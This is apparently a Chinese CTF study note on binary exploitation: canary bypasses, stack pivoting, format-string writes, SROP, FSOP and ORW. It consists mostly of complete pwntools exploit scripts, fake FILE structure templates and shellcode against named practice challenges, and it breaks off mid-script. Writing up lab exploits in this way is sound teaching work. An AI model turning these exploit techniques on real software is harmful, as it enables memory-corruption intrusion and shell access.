栈的漏洞利用

整数溢出与数组越界

在计算机中,整数有两种,一种是有符号整数、一种是无符号整数,有符号数通过符号位来判断正负(0正,1负)
有符号数在与无符号数运算时,有符号数会转换为无符号数进行运算,比如-1转换成0xffffffff,这样看可能
没什么问题,接下来我用一个简单的c程序来演示一下

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>

int main(){
unsigned int a = 10;
int b = -11;
int *m = malloc(0x100);
printf("a + b = %x",a+b);
read(0,m,a+b);
return 0;
}

最后可以编译一下程序的输出应该是0xffffffff
关于数组越界,在使用数组时,下标超过原本范围(比如向上溢出以及向下溢出)
简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<stdlib.h>
int main(){
int a[100] = {1};
a[99] = 0x61;
a[98] = 0x62;
a[97] = 0x63;
int b[100] = {2};
int c[100] = {3};
int idx = 0xFFFFFFFe;
printf("%p",b[idx]);
printf("%p",b[idx - 1]);
printf("%p",b[idx - 2]);
printf("%p",b[idx - 3]);

}

canary保护

第1种绕过方式:

泄露canary的内容 
a.确定canary的偏移量
        canary位于ebp-8处
        当程序中存在字符串格式化漏洞时,可以通过%?$p来泄露canary的内容,?为canary的位置(当canary是程序中第23个参数时,即为%23$p,当程序为64位时,先用寄存器存参数,64位中8个bp相当于一个参数,32位中是4位)
        例题
        攻防世界MMary_Morton
        64位,开了nx和canary
        -0000000000000090 buf             db ?
        -0000000000000008 var_8           dq ?//canary位置
        +0000000000000000  s              db 8 dup(?)
        +0000000000000008  r              db 8 dup(?)
        输入aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
        aaaa-0x7fff9e3ab840-0x7f-0x7f109dd50260-(nil)-(nil)-0x2d70252d61616161
        得到offest=5+(0x90-0x8)/8=23
        exp
        
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p=remote('111.200.241.244',40211)
p.sendlineafter('3. Exit the battle ','2')
p.sendline('%23$p')
p.recvuntil('0x')
cat_flag=0x4008DA格式化

canary=int(p.recv(16),16)
log.info("canary:"+hex(canary))
p.sendline('1')
payload=b'a'*136+p64(canary)+b'a'*8+p64(cat_flag)
p.send(payload)
p.interactive()
b.通过覆盖canary的最后一位(\x00)来输出canary剩下的内容 exp
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=remote('111.200.241.244',40211)
p.sendlineafter('3. Exit the battle ','2')
p.sendline('a'*136)
p.recvuntil('0x')
cat_flag=0x4008DA
canary=u64(p.recv(8))-10
p.sendline('1')
payload=b'a'*136+p64(canary)+b'a'*8+p64(cat_flag)
p.send(payload)
p.interactive()

第2种方式:

爆破canary值
    例题bin1
    exp
    
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p=process('./bin1')
canary='\x00'
p.recvuntil('welcome')
for i in range(3):
for j in range(256):
p.send('a'*100+canary+chr(j))
q=p.recvuntil('welcome')
if 'sucess' in q:
canary+=chr(j)
break
p.sendline('a'*100+canary+'a'*12+p32(system_addr))
p.interavtive()

第3种绕过方式stack smash

(绕过x,攻击√
stack smash的条件:
1.flag读入到程序中,并且可以得到flag的地址
2.存在canary保护
3.知道argv[0]与输入字符串的偏移
stack smash的原理:
当程序中存在canary保护时,如果输入超过长度的字符串,此时程序就会报错,并打印argv[0]中
的内容
相关知识:_ environ为程序中的一个函数,保存了当前进程的环境变量,而环境变量存在栈上,可以通过
栈内的偏移,访问栈上的数据
例题wdb2018_guess
思路先算出argv[0]与输入字符串的偏移
如图
avatar
此时调试的exp为

1
2
3
4
5
6
7
8
9
10
paylaod = "a"*0x100
p.sendlien(payload)
gdb.attach(p)
paylaod = "a"*0x100
p.sendlien(payload)
paylaod = "a"*0x100
p.sendlien(payload)
paylaod = "a"*0x100
p.sendlien(payload)
p.interactive()

只有这样写才能调到这一步
offest = 0x7ffd90269d68 - 0x7ffd90269c40 = 0x128
然后泄露libc,即payload = “a”* 0x128 + p64(elf.got[“puts”])
接下来就是泄露栈上的flag地址(通过environ)
payload = “a”* 0x128 + p64(environ)
flag_ad=environ-0x168
总的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26385)

payload="a"*0x128+p64(elf.got["puts"])
p.sendline(payload)
p.recvuntil("***: ")
ad=u64(p.recv(6).ljust(8,"\x00"))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
environ=libc_base+libc.dump("__environ")
payload="a"*0x128+p64(environ)
p.recvuntil("Please type your guessing flag")
p.sendline(payload)
p.recvuntil("***: ")
flag_ad=u64(p.recv(6).ljust(8,'\x00'))-0x168
p.recvuntil("Please type your guessing flag")
payload="a"*0x128+p64(flag_ad)
p.sendline(payload)
p.interactive()

第4种绕过方式劫持__stack_chk_fail 函数

这种方式感觉和stack smash差不多

第5种绕过方式修改TLS里的canary

https://www.jianshu.com/p/85d0f7ae822e
待补充

栈迁移

栈迁移一般使用于程序溢出量较小的场景,原理是通过控制esp来控制eip从而控制程序流程
例题:buu ciscn_2019_s_4
vul函数

1
2
3
4
5
6
7
8
9
int vul()
{
char s[40];
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

read处可以溢出到eip,并且第一个read可以泄露ebp,当我们第二次调用read时,就可以在里面填充伪造的栈内容了(控制ebp),当结束完read的调用后,会执行leave ret,第一次leave,改变了ebp,第二次leave,esp改为我们设置的ebp,然后再跳转到对应的地方成功
getshell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
a=1
b=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',29690)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

sys_ad=0x08048400
leave_ad=0x080485FD
p.recvuntil("name?\n")

payload="a"*0x28
p.send(payload)
p.recvuntil("a"*0x28)
ebp=u32(p.recv(4))
log.info("ebp: "+hex(ebp))
payload="aaaa"+p32(sys_ad)+p32(0)+p32(ebp-0x28)+"/bin/sh\x00\x00"
payload=payload.ljust(0x28,"a")
payload+=p32(ebp-0x38)+p32(leave_ad)
p.sendline(payload)
p.interactive()

当调用函数发生的过程:
push eip+4;
push ebp;
mov ebp,esp;

结束:
leave == mov esp,ebp
ret ==pop eip

格式化字符串漏洞

原理

hhn表示1个字节,hn表示2个,n表示4个
输出函数:printf
漏洞类型:比如char c[100];scanf(“%s”,&c);printf(c);
当输入的是正常的字母比如a-z,A-Z,0-9时,printf会正常的输出输入的内容,而当输入的是格式化字符串是%s,%p,%x······时,程序会泄露printf函数栈上对应的内容,如果控制输入的内容可以达到泄露got表,使程序异常停止等操作,接下来对各格式化字符串以及利用方式进行详细的解释
1.%p,输出16进制数据带0x
2.%x,也是输出16进制数据,不带0x(可以通过%p或者%x)
3.%s输出栈上变量对应的字符串
4.%n将之前已经输出的字符串个数赋给对应指针指向的变量
上述格式化串只是最基本的格式,还有高级的格式就是在p,x等前加上$,$的作用相当于是指定%p以及%x,输出的位置,%n也差不多,如%2$p输出的就是偏移2处的地址
调用printf函数对应的栈
EBP
返回地址
format
偏移1
偏移2
偏移3
通过输入aaaa-%p-%p-%p-%p-%p-%p-%p,可以确定输入数据的偏移量

地址排序脚本

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ad = [sys_ad & 0xff,(sys_ad >> 8) & 0xff,(sys_ad >> 16) & 0xff,(sys_ad >> 24) & 0xff]
ad1 = [printf_got,printf_got + 1,printf_got + 2,printf_got + 3]

n = len(ad)
for i in range(n):
for j in range(0, n-i-1):
if ad[j] > ad[j+1] :
ad[j], ad[j+1] = ad[j+1], ad[j]
ad1[j], ad1[j+1] = ad1[j+1], ad1[j]
p.sendlineafter("3) Exit\n","1")
pay = "%" + str(ad[0]) + "c" + "%32$hhn"
pay += "%" + str(ad[1] - ad[0]) + "c" + "%33$hhn"
pay += "%" + str(ad[2] - ad[1]) + "c" + "%34$hhn"
pay += "%" + str(ad[3] - ad[2]) + "c" + "%35$hhn"
pay = pay.ljust(0x40,"a") + p32(ad1[0]) + p32(ad1[1])

def fun_32(ad1, ad2,offset):
n = len(ad)
tmp1 = [ad1, ad1 + 1, ad1 + 2, ad1 + 3]
tmp2 = [ad2 & 0xff, (ad2 >> 8) & 0xff,(ad2 >> 16) & 0xff,(ad2 >> 24) & 0xff]
for i in range(n):
for j in range(0, n - i - 1):
if tmp2[j] > tmp2[j + 1]:
tmp2[j], tmp2[j + 1] = tmp2[j + 1], tmp2[j]
tmp1[j], tmp1[j + 1] = tmp1[j + 1], tmp1[j]

result = "%" + str(tmp1[0]) + "c" + "%" + str(offset) + "$hhn"
result += "%" + str(tmp1[1] - tmp1[0]) + "c" + "%" + str(offset + 1) + "$hhn"
result += "%" + str(tmp1[2] - tmp1[1]) + "c" + "%" + str(offset + 2) + "$hhn"
result += "%" + str(tmp1[3] - tmp1[2]) + "c" + "%" + str(offset + 3) + "$hhn"
return result

1.覆盖变量的值(小数字)

原理:通过输入对应变量的地址到栈上,然后通过%$n,即可修改变量的值。
例题攻防世界CGfsb
程序流程十分简单,主程序中有个pwnme变量,pwnme变量为8,即能得到flag 第一次输入无意义,第二次输入可以输入aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,来看输入数据在栈上得偏移量,
这道题测得是10,payload为p32(pwnme_addr)+’aaaa%10$n’

2.泄露got表或者变量的地址

原理:通过%$s可以输出栈上指针所指向的字符串
当栈上存在某函数的got表值时,使用%$s输出该地址对应的值,就能够泄露got表
例题buu axb_2019_fmt32

3.改got表、改地址

例题:攻防世界进阶区 实时数据监测
通过hhn一字节一字节的或者两字节改数据,将0x0804A048对应处的值改为0x02223322即可getshell,经过测试偏移为12
payload=p32(bss_ad)+p32(bss_ad+1)+p32(bss_ad+2)+”%”+str(0x22-12)
payload+=”c%12$hhn”+”%”+str(0x33-0x22)+”c%13$hhn”
payload+=”%”+str(0x222-0x33)+”c%14$hn”

4.bss段或堆上的格式化字符串漏洞

例题:buu xman_2019_format
32位,题中只有一次输入shellcode的地方,c代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl pwn(char *s)
{
char *v1; // eax
char *result; // eax

puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}

非栈上的格式化字符串漏洞不能直接改栈上的数据,可以任意地址读,但是不能任意地址写
但是还是可以写,比如 0x10:0x20->0x30->0x40 算出偏移后 我们可以改0x30 但是改不了0x20
但是可以通过替身来间接改如图
avatar

改完后
avatar

再将0x8048697改成sys_ad就可以了
完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
while(1):
p=remote("node4.buuoj.cn",25314)
sys_ad=0x80485AB
payload="%"+str(0xac)+"c%10$hhn|"
payload+="%"+str(sys_ad&0xffff)+"c%18$hn"
p.send(payload)
try:
p.sendline("echo pwned")
p.recvuntil('pwned',timeout=0.5)
p.interactive()
except:
p.close()

pwntools中的fmstr_payload使用:
fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
例题:攻防世界进阶区 实时数据监测
exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote("111.200.241.244",61697)
payload=fmtstr_payload(12,{0x0804A048:0x2223322})
'''
payload=p32(bss_ad)+p32(bss_ad+1)+p32(bss_ad+2)+"%"+str(0x22-12)
payload+="c%12$hhn"+"%"+str(0x33-0x22)+"c%13$hhn"
payload+="%"+str(0x222-0x33)+"c%14$hn"
'''
p.send(payload)
p.interactive()

当自己手写payload时,往往需要使用移位运算符来得到一个地址的一些位
sys_high=(sys_ad>>16)& 0xff
sys_low= sys_ad & 0xff
&运算符表示与 1-1 为1 其他为0
^运算符表示相同为0 不相同为1
|运算符表示有1为1

初级ROP

中级ROP

高级ROP

高级ROP不同与初级以及中级ROP,需要大量的基础知识

ret2dl

srop

当内核向程序发送signal时,该程序的进程就会进入内核态,并保存该进程的状态(通过将所有寄存器的值压入栈)
如图

ucontext save 表示保存进程的状态,然后调用signal handler(也是系统调用,相当于sigreturn,64位调用号为15),
跳转到恢复程序进程的部分即ucontext restore(srop的核心就是通过伪造的这一部分来getshell或实现其他操作)
signal frame如图

调用完sigreturn,系统就会将指针指向signal frame

例题1.buu ciscn_2019_s_3

程序保护如下

gadgets函数给了两个gadget

1
2
3
4
mov     rax, 0Fh;sigreturn的的系统调用号
ret
mov rax, 3Bh ;这个对应的是另一种做法
ret

然后看主函数

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

通过gdb调试可以知道buf+0x20处存在一个栈地址(计算与输入字符串的偏移就能得到/bin/sh\x00的地址),后面的看exp就明白了
mov rax = 15;ret;syscall;ret;frame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

#p = process("./ciscn_s_3")
p = remote("node4.buuoj.cn",25032)

context(arch="amd64",os="linux")

vul = 0x4004f1
rax_ret = 0x4004DA
sys_ret = 0x400517
payload = "/bin/sh\x00" + p64(0) + p64(vul)

p.sendline(payload)
p.recv(0x20)
stack = u64(p.recv(6).ljust(8,"\x00")) - 0x118

frame=SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rsi = 0
frame.rdx = 0
frame.rip = sys_ret

#log.info("stack: " + hex(stack))
payload = "a"*0x10 + p64(rax_ret) + p64(sys_ret) + str(frame)
p.sendline(payload)

p.interactive()

例题2.buu rootersctf_2019_srop

64位,只开了nx
有用的gadgets

1
2
pop rax;syscall;leave;ret
syscall;ret

这个题不好泄露地址,不过可以在已知地址上写/bin/sh\x00,思路是,先伪造一次frame,调用sigreturn实现sys_read将/bin/sh\x00和另一个能getshell的frame写在0x402000上,然后将栈迁移道0x402000上,再调用一次sitreturn(一开始不知道pwntools的frame可以恢复rbp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

p = process("./rootersctf_2019_srop")
#p = remote("node4.buuoj.cn",27804)

elf = ELF("./rootersctf_2019_srop")
libc = ELF("./libc-2.27.so")

context(arch="amd64",os="linux")

pop_rax = 0x401032
data = 0x402000

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = data
frame.rdx = 0x400
frame.rip = 0x401033
frame.rbp = data
gdb.attach(p)
payload = "a"*0x80 + p64(0) + p64(pop_rax) + p64(0xf) + str(frame)
#gdb.attach(p)
p.sendline(payload)

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = data + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x401033

payload = "a"*8 + p64(pop_rax) + p64(0xf) + str(frame)
payload = payload.ljust(0x200,"\x00") + "/bin/sh\x00"
p.send(payload)
p.interactive()

总结

实现srop的操作为,得到/bin/sh等的地址,然后想办法使rax为15,调用syscall(调用sigreturn),跳到伪造的frame
参考资料:
https://cloud.tencent.com/developer/article/1740251
https://www.cnblogs.com/z2yh/p/13731277.html

ret2vdso

FSOP

FSOP涉及相关IO流的知识,参考blog:https://blog.csdn.net/qq_39153421/article/details/115327308

例题1.hitcontraninghouseoforange_2016

这个题是一个houseoforange + FSOP 的经典题,这个题真的可以好好记录一下
程序大致功能
1.add()函数中大小限制为0x1000
2.有show函数
3.有edit函数,并且存在溢出
4.没有free函数
思路是先溢出修改topchunk为0xf91,此时分配一个0x1000的堆,topchunk就会进入unsortedbin,
再分配一个largebin,largebin中的fd和bk为main_arnea + offset,而fd_nextsize和bk_nextsize为
自己的地址,如图
avatar
这样可以泄露libc和堆地址
然后通过unsortedbin attack将io_list_all写入main_arena + 0x58
可以看到本题中io_list_all中写入了指向topchunk的地址
将unsortedbin的大小改为0x61,后main_arena+0x58+0x68会写入unsortedbin的地址,
而接下来会判断下一个unsortedbin即(io_list_all中的地址),而
此时那里写入的是main_arena+0x58,没有chunk,不满足条件
(补充当unsortedbin从链表拆下来时,main_arena上会根据unsortedbin的大小填入堆的地址)
如图main_arena + 0x58 + 0x68填入的就是unsortedbin的地址(因为大小为0x61,所以填在这里)
avatar
main_arena + 0x58指向的时unsortedbin的地址
io_list_all中存放的是io_list_all结构体的指针,结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct _IO_list_all
$1 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, #这里是我们需要控制的地方,将伪造的_IO_FILE_plus结构链入 _IO_FILE的链表头部
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

此时触发错误,于是通过_chain调用下一个_IO_list_all,即 main_arena + 0x58 + 0x68 = main_arena + 0xc0,而
main_arena + 0xc0 处对应的是idx为6的smallbin(将unsortedbin大小改为0x61的原因)
FSOP的最终目的是调用 IO_flush_all_lockp 函数中的 IO_overflow函数(IO_overflow写成system,struct开始填入/bin/sh)
IO_flush_all_lockp函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

IO_flush_all_lockp函数触发条件:
1.当libc执行abort流程时 abort可以通过触发malloc_printerr来触发
2.当执行exit函数时
3.当执行流从main函数返回时
需要绕过的条件

1
2
3
1.fp->_mode > 0
2._IO_vtable_offset (fp) == 0
3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

64位的_IO_FILE_plus构造模板:

1
2
3
4
5
6
7
8
stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)

32位的

1
2
3
4
5
6
7
8
9
stream = "sh\x00\x00"+p32(0x31)   # system_call_parameter and link to small_bin[4] 
stream += ";$0\x00"+p32(IO_list_all-0x8) # Unsorted_bin attack
stream +=p32(1)+p32(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0x88,"\x00")
stream += p32(0) # mode<=0
stream += p32(0)
stream += p32(0)
stream += p32(vtable_addr) # vtable_addr --> system

此时本题中main_arena + 0xc0正好就是我们伪造的数据如图
avatar
伪造数据形式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def fake_file_struct():
fake_file = p64(flag) #_flags
fake_file += p64(addr) #_IO_read_ptr
fake_file += p64(addr) #_IO_read_end
fake_file += p64(addr) #_IO_read_base
fake_file += p64(addr) #_IO_write_base
fake_file += p64(addr+1) #_IO_write_ptr
fake_file += p64(addr) #_IO_write_end
fake_file += p64(addr) #_IO_buf_base
fake_file += p64(0) #_IO_buf_end
fake_file += p64(0) #_IO_save_base
fake_file += p64(0) #_IO_backup_base
fake_file += p64(0) #_IO_save_end
fake_file += p64(0) #_markers
fake_file += p64(0) #chain could be a anathor file struct
fake_file += p32(1) #_fileno
fake_file += p32(0) #_flags2
fake_file += p64(0xffffffffffffffff) #_old_offset
fake_file += p16(0) #_cur_column
fake_file += p8(0) #_vtable_offset
fake_file += p8(0x10) #_shortbuf
fake_file += p32(0)
fake_file += p64(0) #_lock
fake_file += p64(0xffffffffffffffff) #_offset
fake_file += p64(0) #_codecvt
fake_file += p64(0) #_wide_data
fake_file += p64(0) #_freeres_list
fake_file += p64(0) #_freeres_buf
fake_file += p64(0) #__pad5
fake_file += p32(0xffffffff) #_mode
fake_file += p32(0) #unused2
fake_file += p64(0)*2 #unused2
fake_file += p64(vtable) #vtable

vtable地址被伪造成了0x000055b84fe0b5e8,伪造的虚表如下
avatar
此时overflow的地址为system,/bin/sh\x00为参数,这样就能getshell了
vtable是_IO_jump_t类型的指针,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

总exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
p = remote("node4.buuoj.cn",28968)

libc = ELF("./libc-2.23.so")
context.log_level = "debug"
def add(size,con,price):
p.recvuntil("Your choice : ")
p.sendline("1")
p.recvuntil("Length of name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(con)
p.recvuntil("Price of Orange:")
p.sendline(str(price))
p.recvuntil("Color of Orange:")
p.sendline(str(1))

def show():
p.recvuntil("Your choice : ")
p.sendline("2")

def edit(size,con,price):
p.recvuntil("Your choice : ")
p.sendline("3")
p.recvuntil("Length of name :")
p.sendline(str(size))
p.recvuntil("Name:")
p.send(con)
p.recvuntil("Price of Orange: ")
p.sendline(str(price))
p.recvuntil("Color of Orange: ")
p.sendline("1")

add(0x30,"a"*0x28,0x10)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p64(0) * 3 + p64(0xf81)
edit(len(payload),payload,0x10)

add(0x1000,"aaaa",0x10)
add(0x400,"a" * 8,0x10)

show()
p.recvuntil("Name of house : ")
p.recvuntil("a"*8)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 0x668 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
io_list_all = libc_base + libc.sym["_IO_list_all"]
sys_ad = libc_base + libc.sym["system"]
log.info("io_list_all_ad: " + hex(io_list_all))
edit(0x10,"a"*0x10,0x10)
show()
p.recvuntil("a"*0x10)
heap_ad = u64(p.recv(6).ljust(8,"\x00")) - 0xe0
log.info("heap_ad: " + hex(heap_ad))
payload = "a"*0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = "/bin/sh\x00" + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,"\x00")
fake_file += p64(0) * 3
fake_file += p64(heap_ad + 0x5e8)
fake_file += p64(0) * 2
fake_file += p64(sys_ad)
payload += fake_file

edit(len(payload),payload,0x10)
p.recvuntil("Your choice : ")
p.sendline("1")
#gdb.attach(p)

p.interactive()

setcontext

setcontext一般在开了orw的情况下用,setcontext汇编如下
avatar
注意mov rsp,QWORD PTR [rdi+0xa0],偏移为53,这个是将rsp设为rdi + 0xa0,当我们把free_hook
或者malloc_hook改成setcontext + 43时,此时malloc或者free时,rdi为堆地址,
如果heap_ad + 0xa0 = target,我们就可以改rsp来rop,还有一个注意的地址,为
mov rcx,QWORD PTR [rdi+0xa8];push rcx;……;ret这里可以将rcx 设为 heap_ad + 0xa8,这样就能控制rip了,
从而劫持程序进程来orw了
补充frame中的rsp和rip正好对应0xa0 和 0xa8这两个地址,payload可以用frame设置rsp,rip,
也可以用”a”* 0xa0 + ad1 + ad2只要对应上地址,怎么写都可以

例题1.ciscn_2021_silverwolf

例题2.ciscn_2021_game

orw详解

orw指的是通过open,read,write函数,打开flag文件,读入flag,然后输出flag,当程序禁用execve时,就基本只能通过
orw的方式得到flag
open函数原型

1
2
3
4
5
6
7
8
9
10
//需要的头文件
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
//
int open(const char * pathname, int flags, mode_t mode);
//其中pathname指的是文件路径,flags表示打开文件的方式,比如只读,可写......,mode表示文件的权限
//详情见http://c.biancheng.net/cpp/html/238.html

read和write函数原型

1
2
int read_write( int handle, const void *buffer, unsigned int count );
//handle指的是文件描述符,buffer对应的地址,count数量

系统内核中通过文件描述符来访问文件,open函数返回的就是文件描述符,0表示的是stdin,1表示stdout,2表示stderr
read通过open函数返回的文件描述符,可以对对应的文件进行操作
读入flag例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
int fd;
fd = open("./flag",O_RDONLY);
char c[100];
read(fd,c,0x100);
write(0,c,0x100);
close(fd);
return 0;
}

open的系统调用是同通过对应的系统调用号实现,并且系统调用号存在rax中,并且函数得到返回值也会放到rax中,
rdi对应参数1(fd),rsi对应参数2(ad),rdx对应参数3(size)
设置号rax等寄存器后syscall就能成功的执行函数了

例题1.羊城杯nologin

64位保护就开了FULL relro,这个题不是很难,比赛的时候也没怎么看(大意了x,
并且有rwx段,只要能把orw写道rwx段上就可以getshell了
禁用了execve,功能2中存在溢出,可以修改rbp以及rip,通过将rip覆盖为read,可以向栈上面读入shellcode,然后
call,rsi,就能通过布置在栈上的shellcode,将栈迁移到rwx段上,然后直接orw就可以了(需要注意的一点是注意./flag的地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.arch = "amd64"
elf = ELF("./pwn")

p.recvuntil("input>> \n")
p.sendline("2")
p.recvuntil(">password: \n")
payload = "aaaaa" + p64(0x602000) + p64(elf.plt["read"]) + p64(0x40186b)
shellcode = asm('''
xor rax,rax;
mov rsi,0x602000;
mov rdx,0x100;
syscall;
add rsi,0x10;
jmp rsi;
''')
print len(shellcode)
#gdb.attach(p)
p.sendline(payload)
